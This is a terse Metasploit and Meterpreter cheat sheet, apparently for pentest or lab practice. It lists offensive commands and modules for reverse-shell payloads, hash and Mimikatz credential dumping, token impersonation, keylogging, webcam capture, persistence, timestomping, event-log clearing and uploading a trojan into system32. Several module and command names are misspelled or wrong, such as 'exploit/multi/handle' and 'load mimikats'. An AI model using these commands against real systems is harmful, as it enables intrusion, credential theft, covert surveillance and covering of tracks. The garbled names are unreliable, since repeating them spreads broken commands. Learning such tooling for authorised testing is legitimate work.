Metasploit Cheat Sheet

  • service postgresql start
  • msfdb init
  • msfconsole -q
    • db_status
    • db_nmap -sn […] / db_nmap -T4 -A -v […]
    • show
    • info […]
    • use […]
      • info
      • options
      • payloads
      • targets
      • run / exploit / exploit -j -z
        • Ctrl+Z
    • jobs
    • sessions
    • sessions -i #
    • search […]
    • spool
    • post
    • load
    • db_map -sV 10.10.10.10
      • hosts
      • services
      • vulns
  • searchsploit […]

Metasploit Global Variables

  • setg HOST 10.10.10.10
  • setg PORT 8888
  • get HOST
  • unset HOST

Metasploit Popular Modules

  • exploit/multi/handle
  • payload/windows/x64/meterpreter_reverse_tcp
  • payload/windows/meterpreter/reverse_tcp
  • post/win/gather/hashdump
  • post/windows/manage/migrate
  • exploit/windows/local/persistence
  • exploit/windows/local/registry_persistence
  • post/multi/recon/local_exploit_suggester
  • post/windows/gather/checkvm
  • post/windows/manage/enable_rdp
  • post/multi/manage/shell_to_meterpreter
  • auxiliary/server/socks5

Meterpreter Cheat Sheet

  • help
  • background
  • bgrun
  • bglist
  • bgkill
  • cat
  • del
  • timestomp
  • pwd
  • clearev
  • download c:\\boot.ini
  • upload trojan.exe c:\\windows\\system32
  • edit edit.txt
  • execute -f cmd.exe -i -H
  • resource resource.txt
  • search -f autoexec.bat / search -f sea*.bat c:\\xamp\\
  • getuid
  • idletime
  • ipconfig
  • portfwd
  • route
  • sysinfo
  • hashdump
  • getsystem
  • exploit
  • interact
  • ps
  • ipconfig
  • source
  • shell
  • lcd
  • lpwd
  • lls
  • migrate PID
  • keyscan_start
  • keyscan_stop
  • keyscan_dump
  • screenshot
  • webcam_list
  • webcam_snap
  • load incognito
    • list tokens -u
    • list tokens -g
    • impersonate_token \\WORKGROUP\Administrator
  • load kiwi
    • help
    • getprivs
    • creds_all
      • Syntax USER:RELATIVE_IDENTIFIER:LM:NT
    • rev2self
    • upload fileName
  • load mimikats
    • help
    • kerberos
  • run persistence -h
  • run netsvc -A
  • run autoroute -s 10.0.0.0/24
  • run autoroute -s 172.16.0.0 -n 255.255.0.0
  • run autoroute -p
  • run post/multi/recon/local_exploit_suggester
  • run post/windows/manage/enable_rdp
  • run auxiliary/server/socks5
  • Ctrl+Z
    • use post/multi/manage/shell_to_meterpreter
    • set session 1
    • run
    • hashdump